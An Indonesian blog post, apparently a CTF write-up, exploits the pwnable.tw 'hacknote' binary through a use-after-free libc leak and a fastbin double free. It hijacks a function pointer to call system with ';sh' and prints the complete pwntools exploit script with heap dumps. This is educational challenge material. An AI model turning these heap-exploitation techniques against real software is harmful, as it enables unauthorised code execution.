Writeup pwnable.tw hacknote (heap exploit)

Wah udah lama nggak ngepost di blog ini, terakhir saya posting artikel bulan desember kemarin. Kali ini saya akan membahas writeup untuk challenge hacknote di pwnable.tw. Untuk yang belum tau pwnable.tw adalah web yang menyediakan challenge ctf khusus pwn, jadi bagi yang merasa tertantang untuk menyelesaikan challenge yang berkaitan dengan pwn langsung saja kunjungi webnya di http://pwnable.tw.

Di writeup ini kita akan berurusan dengan heap memory. Jadi minimal kalian udah ngerti tentang fungsi malloc() dan free(), dan sudah sedikit familiar tentang heap internal seperti fastbins, smallbins, dll dan juga teknik exploitasi di heap. Bacaan bagus tentang heap exploitation bisa kalian baca di https://github.com/DhavalKapil/heap-exploitation dan https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc.

Seperti biasa pada challenge ini kita diberikan binary elf 32 bit, dan sebuah file libc.

[code lang=sh]
$ ls
hacknote libc_32.so.6
[/code]

Sekarang kita coba jalankan programnya.

[code lang=sh]
$ ./hacknote
———————-
HackNote
———————-
1. Add note
2. Delete note
3. Print note
4. Exit
———————-
Your choice :
[/code]

Terdapat menu yang didalamnya ada beberapa pilihan. Disana kita bisa membuat note, menghapus note, dan menampilkan isi note.

[code lang=sh]
———————-
HackNote
———————-
1. Add note
2. Delete note
3. Print note
4. Exit
———————-
Your choice :1
Note size :7
Content :asdasd
Success !
———————-
HackNote
———————-
1. Add note
2. Delete note
3. Print note
4. Exit
———————-
Your choice :3
Index :0
asdasd

———————-
HackNote
———————-
1. Add note
2. Delete note
3. Print note
4. Exit
———————-
Your choice :2
Index :0
Success
[/code]

Untuk mencari vulnerability pada program, kita harus menganalisa terlebih dahulu kode program tersebut. Karena dalam challenge ini tidak disediakan source code programnya, jadi kita harus mereverse nya. Cara yang paling gampang adalah dengan mendecompilenya dengan IDA. berikut adalah hasil decompile dari fungsi main. kode hasil decompile sudah diedit agar mudah dibaca.

[code lang=cpp]
int main(void)
{
int v0; // eax@2
char buf; // [sp+8h] [bp-10h]@2
int v2; // [sp+Ch] [bp-Ch]@1

v2 = *MK_FP(__GS__, 20);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
menu();
read(0, &buf, 4u);
v0 = atoi(&buf);
switch(v0)
{
case 1:
create_note();
break;
case 2:
delete_note();
break;
case 3:
print_note();
break;
case 4:
exit(0);
break;
default:
puts("Invalid choice")
}
}
}
[/code]

Nggak ada yang aneh dari kode diatas, cuman ada while dan switch case didalamnya dan memanggil menu-menu pada program. Sekarang mari kita lihat fungsi create_note(), fungsi ini dipanggil ketika kita memilih menu nomor 1 pada program.

[code lang=cpp]
int create_note()
{
Note *note; // ebx@8
signed int i; // [sp+Ch] [bp-1Ch]@3
int size; // [sp+10h] [bp-18h]@8
char buf; // [sp+14h] [bp-14h]@8
int v5; // [sp+1Ch] [bp-Ch]@1

v5 = *MK_FP(__GS__, 20);
if ( nnote <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notes[i] )
{
notes[i] = malloc(sizeof(Note));
if ( !notes[i] )
{
puts("Alloca Error");
exit(-1);
}
notes[i]->pprint = pprint_note;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
note = notes[i];
note->content = malloc(size);
if ( !notes[i]->content )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notes[i]->content, size);
puts("Success !");
++nnote;
return *MK_FP(__GS__, 20) ^ v5;
}
}
}
else
{
puts("Full");
}
return *MK_FP(__GS__, 20) ^ v5;
}
[/code]

Di baris pertama kita melihat ada data bertype Note disana. Note adalah sebuah structure yang berisi sebuah function pointer dan sebuah string (pointer ke char).

[code lang=cpp]
typedef struct note {
void (*pprint) (struct* note);
char* content;
} Note;
[/code]

Selanjutnya ada bagian kode seperti ini.

[code lang=cpp]
if ( nnote <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( notes[i] == NULL )
{
// Create note
// …
++nnote;
return;
}
}
}
else
{
puts("Full");
}
[/code]

Pertama program akan mengecek variable nnote, apakah kurang dari atau sama dengan lima, jika tidak program akan menampilkan tulisan “Full”. variable nnote adalah variable global yang berisi jumlah note yang telah ditambahkan, variable nnote ini akan bertambah satu setiap kita menambahkan note baru. Artinya kita hanya bisa membuat note sebanyak 5 kali saja

Selanjutnya ada for loop sebanyak 5 kali. didalam for loop terdapat pengecekan apakah notes[i] sama dengan NULL. notes adalah array yang berisi note.
Note* notes[5]

for loop diatas digunakan untuk mencari elemen yang masih kosong (belum diisi note), note yang masih dikosong tersebut digunakan sebagai tempat untuk menaruh note baru.

Dibawah ini adalah bagian kode dimana note baru diisi.

[code lang=cpp]
notes[i] = malloc(8);
if ( !notes[i] )
{
puts("Alloca Error");
exit(-1);
}
notes[i]->pprint = pprint_note;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
note = notes[i];
note->content = malloc(size);
if ( !notes[i]->content )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notes[i]->content, size);
puts("Success !");
++nnote;
return *MK_FP(__GS__, 20) ^ v5;
[/code]

Program menggunakan malloc untuk mengalokasi memory. pertama program menggunakan malloc untuk mengalokasikan memory untuk note baru. selanjutnya program akan menggunakan malloc lagi untuk mengalokasikan memory untuk isi dari note tersebut. Jadi, terdapat 2 kali malloc ketika kita menambahkan sebuah note.

notes[i]->pprint akan diisi dengan alamat dari fungsi pprint_note. yang menjadi catatan disini adalah.

[code lang=cpp]
notes[i] = malloc(8);
notes[i]->pprint = pprint_note;
notes[i]->content = malloc(size)
[/code]

variable size diatas didapat dari input user yang menentukan panjang byte dari isi note yang ingin ditambah.

Selanjutnya kita pindah ke fungsi print_note. fungsi print_note akan dipanggil jika kita memilih menu nomor 3 pada program.

[code lang=cpp]
int print_note()
{
int i; // [sp+4h] [bp-14h]@1
char buf; // [sp+8h] [bp-10h]@1
int v3; // [sp+Ch] [bp-Ch]@1

v3 = *MK_FP(__GS__, 20);
printf("Index :");
read(0, &buf, 4u);
i = atoi(&buf);
if ( i < 0 || i >= nnote )
{
puts("Out of bound!");
_exit(0);
}
if ( notes[i] )
(notes[i]->pprint)(notes[i]);
return *MK_FP(__GS__, 20) ^ v3;
}
[/code]

Disini program menerima input berupa index dari note yang ingin ditampilkan. selanjutnya program akan memanggil notes[i]->pprint dengan argumen notes[i] (notes[i]-&gt;pprint)(notes[i]);. Jika kita lihat pada fungsi create_note sebelumnya, notes[i]->pprint akan diisi dengan pprint_note. Jadi (notes[i]-&gt;pprint)(notes[i]); akan memanggil fungsi pprint_note dengan argumen notes[i]. Code pada fungsi pprint_note adalah seperti ini.

[code lang=cpp]
int __cdecl pprint_note(note *a1)
{
return puts(a1->content);
}
[/code]

Fungsi pprint_note memiliki parameter a1 bertype note. pprint_note akan menampilkan content dari a1 ke stdout dengan fungsi puts. Sekarang kita lihat fungsi delete_note seperti apa.

[code lang=cpp]
int delete_note()
{
int v1; // [sp+4h] [bp-14h]@1
char buf; // [sp+8h] [bp-10h]@1
int v3; // [sp+Ch] [bp-Ch]@1

v3 = *MK_FP(__GS__, 20);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= nnote )
{
puts("Out of bound!");
_exit(0);
}
if ( notes[v1] )
{
free(notes[v1]->content);
free(notes[v1]);
puts("Success");
}
return *MK_FP(__GS__, 20) ^ v3;
}
[/code]

Pada fungsi ini, delete_note akan menerima input berupa index dari notes. setelah itu note akan di free untuk menghapus area memory yang dimiliki note.
Pada fungsi ini juga, tidak ada pengecekan bahwa note sudah di free sebelumnya atau belum. Artinya kita bisa melakukan free pada note lebih dari satu kali (double free), kelemahan ini lah yang saya manfaatkan untuk membuat exploit nanti.
Selain bug yang ada di fungsi delete_note ada juga bug pada fungsi print_note yang memungkinkan kita untuk menampilkan content dari note yang sudah di delete. bug ini juga akan kita manfaatkan untuk meleak address untuk membypass ASLR.

Agar lebih mudah dalam mengexploitnya, saya membuat fungsi2 berikut yg dapat dipanggil untuk berkomunikasi langsung dengan program.

[code lang=python]
from pwn import *
hk = process('./hacknote')
def goto(n):
hk.sendlineafter('Your choice :', str(n))
return

def add_note(content, size):
goto(1)
hk.sendlineafter('Note size :', str(size))
hk.sendlineafter('Content :', str(content))
return

def delete_note(idx):
goto(2)
hk.sendlineafter('Index :', str(idx))
return

def print_note(idx):
goto(3)
hk.sendlineafter('Index :', str(idx))
c = hk.recvuntil('———————-', drop=True)
return c
[/code]

Karena challenge ini mengaktifkan ASLR dan NX. Sebaiknya kita harus cari cara untuk mendapatkan base address dari libc (tujuan kita adalah untuk mendapatkan shell dengan memanggil fungsi system(“/bin/sh”)) dengan mengetahui base address dari libc, kita bisa menghitung alamat fungsi lain seperti alamat dari fungsi system.

Leaking address

[code lang=python]
add_note("B"*0x80, 0x80) # size 0x80 for not fastbins
add_note("C"*8, 8)
delete_note(0) # Insert chunk into smallbins
add_note("", 0)
leak = print_note(2)[:4]
addr_leak = u32(leak)
print(hex(addr_leak))
hk.interactive()
[/code]

Potongan kode diatas, adalah script untuk meleak sebuah nilai, jika kalian jalankan, script diatas akan menghasilkan output sebuah nilai.

[code lang=sh]
[+] Starting local process './hacknote': pid 2305
0xf772d4d0
[*] Switching to interactive mode

HackNote
———————-
1. Add note
2. Delete note
3. Print note
4. Exit
———————-
Your choice :$
[/code]

Pertama saya menambahkan note (add_note) dengan ukuran 0x80, saya memasukkan ukuran 0x80 agar ketika note tersebut difree tidak masuk ke fastbins. Selanjutnya saya menambahkan note lagi dengan size 8, note ini berfungsi agar ketika note pertama difree tidak bergabung dengan wilderness atau top chunk.

[code lang=text]
gef➤ x/46wx 0x08655008
0x8655008: 0x0804862b 0x08655018 0x00000000 0x00000089
0x8655018: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655028: 0x42424242 0x42424242 0x42424242 0x42424242 <– First note (in use)
0x8655038: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655048: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655058: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655068: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655078: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655088: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655098: 0x00000000 0x00000011 0x0804862b 0x086550b0
0x86550a8: 0x00000000 0x00000011 0x43434343 0x43434343 <– Second note (in use)
0x86550b8: 0x00000000 0x00020f49
[/code]

Nilai 0xf772d4d0 didapat dari sebuah chunk pada smallbin yang telah di free. Ketika sebuah chunk difree, chunk dengan ukuran yang sesuai akan dimasukkan ke dalam bins, ketika itu juga forward pointer (pointer yang menunjuk ke free chunk selanjutnya) akan diisi. Karena smallbins masih kosong, maka forward pointer akan diisi dengan alamat smallbins yang ada dilibc.

[code lang=text]
gef➤ x/46wx 0x08655008
0x8655008: 0x00000000 0x08655018 0x00000000 0x00000089
0x8655018: 0xf772d450 0xf772d450 0x42424242 0x42424242 <– First note (free) contain libc address
0x8655028: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655038: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655048: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655058: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655068: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655078: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655088: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655098: 0x00000088 0x00000010 0x0804862b 0x086550b0
0x86550a8: 0x00000000 0x00000011 0x43434343 0x43434343 <– Second note (in use)
0x86550b8: 0x00000000 0x00020f49
[/code]

Selanjutnya saya menambahkan note dengan size 0, dengan ini, lokasi memory yang dimiliki first note yang telah di free akan digunakan sebagai lokasi note yang baru.

[code lang=text]
gef➤ x/46wx 0x08655008
0x8655008: 0x0804862b 0x08655018 0x00000000 0x00000011
0x8655018: 0xf772d4d0 0xf772d4d0 0x42424242 0x00000079 <– Third note (in use)
0x8655028: 0xf772d450 0xf772d450 0x42424242 0x42424242
0x8655038: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655048: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655058: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655068: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655078: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655088: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655098: 0x00000078 0x00000010 0x0804862b 0x086550b0
0x86550a8: 0x00000000 0x00000011 0x43434343 0x43434343 <– Second note (in use)
0x86550b8: 0x00000000 0x00020f49
[/code]

Sekarang content dari third note akan berisi sebuah nilai yaitu address dari libc. untuk mengambil nilai nya, kita hanya perlu melakukan print_note.
Untuk mendapatkan base address dari libc. kita hanya perlu mengurangi nilai yang dileak tadi dengan 0x1ad4d0.

[code lang=text]
>>> hex(0xf772d4d0 – 0x1ad4d0)
'0xf7580000'
[/code]

Redirect execution to get a shell

Tujuan kita adalah meredirect eksekusi program dengan cara mengubah alamat yang ada di pprint dengan alamat yang kita inginkan.

[code lang=c]
typedef struct note {
void (*pprint) (struct* note);
char* content;
} Note;
[/code]

Fastbin attack

Salah satu trik yang saya gunakan adalah trik double free yang dapat dilakukan di fastbins. Sebenarnya kita tidak dapat melakukan free 2 kali pada fastbins.

[code lang=text]
vagrant@vagrant-ubuntu-trusty-64:/tmp$ cat a.c
#include
#include

int main(void) {
char *a;
char *b;
a = malloc(0x20);
b = malloc(0x20);
free(a);
free(a);
return 0;
}
vagrant@vagrant-ubuntu-trusty-64:/tmp$ ./a
*** Error in `./a': double free or corruption (fasttop): 0x0000000001f9c010 ***
Aborted (core dumped)
[/code]

Tapi kita bisa melakukan free 2 kali pada chunk yang sama jika diantara 2 free tersebut terdapat free yang dilakukan terhadap chunk yang lain.

[code lang=text]
vagrant@vagrant-ubuntu-trusty-64:/tmp$ cat a.c
#include
#include

int main(void) {
char *a;
char *b;
char *c;
a = malloc(0x20);
b = malloc(0x20);
c = malloc(0x20);
printf("First malloc\n");
printf("a = %p\n", a);
printf("b = %p\n", b);
printf("c = %p\n", c);
free(a);
free(b);
free(a); # Double free
a = malloc(0x20);
b = malloc(0x20);
c = malloc(0x20);
printf("Second malloc\n");
printf("a = %p\n", a);
printf("b = %p\n", b);
printf("c = %p\n", c);
return 0;
}
vagrant@vagrant-ubuntu-trusty-64:/tmp$ ./a
First malloc
a = 0x1e9d010
b = 0x1e9d040
c = 0x1e9d070
Second malloc
a = 0x1e9d010
b = 0x1e9d040
c = 0x1e9d010
[/code]

Liat output pada second malloc diatas, a dan c meununjuk ke alamat yang sama. Di program ini pada saat kita menghapus note tidak ada pengecekan bahwa note sudah didelete atau belum, ini bisa kita manfaatkan untuk melakukan double free. Berikut adalah potongan kode yang saya gunakan untuk mengoverwrite pprint dengan memanfaatkan double free.

[code lang=python]
# double free
delete_note(1)
delete_note(1)
add_note("D"*0x80, 0x80)
add_note("A"*8, 8)
hk.interactive()
[/code]

Pertama kita mendelete note yang berada pada index 1 sebanyak 2 kali (note pada index 1 sudah dibuat sebelumnya pada script di bagian sebelumnya). Jika ada yang bertanya kenapa menghapus note yang sama 2 kali tidak error? padahal harusnya kita menghapus note yang lain diantara dua delete_note tersebut. Berikut ini adalah potongan kode dari fungsi delete_note untuk.

[code lang=c]
free(notes[i]->content);
free(notes[i]);
puts("Success");
[/code]

Jika kita menghapus sebuah note, program akan melakukan free sebanyak 2 kali. Jika kita menghapus note pada index 1 sebanyak 2 kali, yang akan terjadi akan seperti ini.

[code lang=c]
free(notes[1]->content);
free(notes[1]);
free(notes[1]->content);
free(notes[1]);
[/code]

Kode diatas tidak akan error, karena tidak ada free kepada address yang sama secara berdampingan. Berikut adalah kondisi heap setelah kita menghapus note pada index 1 sebanyak 2 kali.

[code lang=bash]
gef➤ x/46wx 0x08655008
0x8655008: 0x0804862b 0x08655018 0x00000000 0x00000011
0x8655018: 0xf779d4d0 0xf779d4d0 0x42424242 0x00000079 –> Third note (in use)
0x8655028: 0xf779d450 0xf779d450 0x42424242 0x42424242
0x8655038: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655048: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655058: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655068: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655078: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655088: 0x42424242 0x42424242 0x42424242 0x42424242
0x8655098: 0x00000078 0x00000010 0x086550a8 0x086550b0
0x86550a8: 0x00000000 0x00000011 0x08655098 0x43434343 –> Second note (free)
0x86550b8: 0x00000000 0x00020f49
[/code]

Note pada index 1 berada di second note. berikut adalah kondisi bins.

[code lang=bash]
gef➤ heap bins
Fastbins[idx=0, size=0x8] ← Chunk(addr=0x86550a0, size=0x10, flags=) ← Chunk(addr=0x86550b0, size=0x10, flags=PREV_INUSE) ← Chunk(addr=0x86550a0, size=0x10, flags=) → [loop detected]
Fastbins[idx=1, size=0x10] 0x00
Fastbins[idx=2, size=0x18] 0x00
Fastbins[idx=3, size=0x20] 0x00
Fastbins[idx=4, size=0x28] 0x00
Fastbins[idx=5, size=0x30] 0x00
Fastbins[idx=6, size=0x38] 0x00
[/code]

Jika kita lihat pada fastbins dengan idx 0 terdapat tulisan loop detected, itu artinya bahwa rantai chunk pada bins tersebut terus berulang. Berikut adalah gambaran fastbins saat ini.

[code lang=text]
+————–+
| | +———–+ +———–+ +———–+ +———–+
| Fastbins[0] | —> | 0x86550a0 | –> | 0x86550b0 | –> | 0x86550a0 | –> | 0x86550b0 | –> …
| | +———–+ +———–+ +———–+ +———–+
+————–+
[/code]

Jika kita menambahkan note dengan size 8, maka kita akan mendapatkan note dengan alamat 0x86550a0 yang memiliki content dengan alamat 0x86550b0. Jika kita menambahkan note lagi (dengan size 8), kita mendapatkan alamat note dan content yang sama dengan yang sebelumnya (0x86550a0 dan 0x86550b0). Tujuan kita adalah mengontrol nilai dari pprint.
Ide saya adalah dengan membuat note dengan ukuran diatas 16, dan membuat note lagi dengan ukuran 8. Ketika program menambahkan note dengan ukuran diatas 16 maka note akan mendapatkan alamat 0x86550a0 dan dengan content yang memiliki alamat yang tidak diketahui. Saya memilih ukuran 0x80 agar memastikan content dari note yang dimalloc tidak mengambil dari fastbins.
note[3] =&gt; 0x86550a0

[code lang=python]
add_note("D"*0x80, 0x80)
[/code]

kondisi fastbins[0] akan menjadi seperti ini.

[code lang=text]
+————–+
| | +———–+ +———–+ +———–+
| Fastbins[0] | –> | 0x86550b0 | –> | 0x86550a0 | –> | 0x86550b0 | –> …
| | +———–+ +———–+ +———–+
+————–+
[/code]

Selanjutnya kita membuat note dengan ukuran 8. Maka note akan memiliki memiliki alamat 0x86550b0 dengan content 0x86550a0.

[code lang=python]
add_note("A"*8, 8)
[/code]

hasilnya kita akan mendapatkan alamat” berikut.

[code lang=text]
note[3] => 0x86550a0
note[3]->content => ?? (not needed)
note[4] => 0x86550b0
note[4]->content => 0x86550a0
[/code]

Karena kita tadi mengalokasikan note dengan “A”*8, sekarang note dengan index 3 akan berisi.

[code lang=text]
gef➤ x/2wx 0x084f30a0
0x84f30a0: 0x41414141 0x41414141
[/code]

Dan jika kita memprint note pada index 3, maka program akan error.

[code lang=text]
gef➤ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
[/code]

Yap, eip sudah kita kontrol, program sudah kita kuasai. tinggal kita arahkan program agar memanggil fungsi system(“/bin/sh”).
jika kita lihat pada fungsi print_note program memanggil fungsi pprint pada note dengan cara.

[code lang=c]
(notes[i]->pprint)(notes[i]);
[/code]

Agar dapat mendapatkan shell, saya menggunakan payload.

[code lang=python]
payload = p32(system) + ";sh\x00"
add_note(payload, 8);
[/code]

alamat dari system didapat dari perhitungan, base address libc (yang tadi sudah dileak) ditambah dengan offset system. anggap alamat system kita dapat adalah 0xf7588310.

sebelumnya note kita berada pada alamat 0x86550a0. jika pprint sudah diganti dengan alamat dari fungsi system, maka program akan memanggil fungsi system dengan argumen 0x86550a0.

[code lang=text]
(notes[i]->pprint)(0x86550a0)
[/code]

Kita lihat pada alamat 0x86550a0. Terdapat nilai dan string berikut

[code lang=text]
gef➤ x/2wx 0x086550a0
0x8ac70a0: 0xf7588310 0x0068733b
gef➤ x/s 0x86550a0
0x8ac70a0: "\020\203X\367;sh"
[/code]

maka program akan memanggil system dengan argumen:

[code lang=text]
system("\020\203X\367;sh");
[/code]

Walaupun bukan string “/bin/sh” yang dijadikan sebagai argumen, tapi kita akan tetap mendapatkan shell karena terdapat string “;sh” disana. string “\020\203X\357” akan dianggap sebagai “command not found” itu gak masalah.

Jika kita memilih menu print note pada program, dan memasukkan index 3 maka kita akan mendapatkan shell.
shell

Inilah full exploitnya.

[code lang=python]
from pwn import *

hk = process('./hacknote')
libc = ELF('./local_libc32.so')

def goto(n):
hk.sendlineafter('Your choice :', str(n))
return

def add_note(content, size):
goto(1)
hk.sendlineafter('Note size :', str(size))
hk.sendlineafter('Content :', str(content))
return

def delete_note(idx):
goto(2)
hk.sendlineafter('Index :', str(idx))
return

def print_note(idx):
goto(3)
hk.sendlineafter('Index :', str(idx))
c = hk.recvuntil('———————-', drop=True)
return c

def exploit():
system_offset = libc.symbols['system']
context.terminal = ['tmux', 'new-window']
#gdb.attach(hk)
add_note("B"*0x80, 0x80)
add_note("C"*8, 8)
delete_note(0)
add_note("", 0)
leak = print_note(2)[:4]
print(hex(u32(leak)))
base = u32(leak) – 0x1ad4d0
print("Base libc : {}".format(hex(base)))
system = base + system_offset
sh = u32(";sh\0")
payload = p32(system) + ";sh\0"
print("system : {}".format(hex(system)))
delete_note(1)
delete_note(1)
add_note("D"*0x80, 0x80)
add_note(payload, 8)
goto(3)
hk.sendlineafter('Index :', "3")
hk.interactive()

def main():
exploit()

if __name__ == '__main__':
main()
[/code]

NOTE: Exploit diatas tidak akan bekerja jika dijalankan untuk server challenge pwnable.tw karena offset dari libcnya berbeda. Jika kalian ingin mendapatkan flag, ubah exploit diatas, cari cara agar offset libcnya sesuai untuk dapat memanggil fungsi system.

Referensi:
[1] https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/
[2] https://github.com/DhavalKapil/heap-exploitation
[3] https://github.com/shellphish/how2heap

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s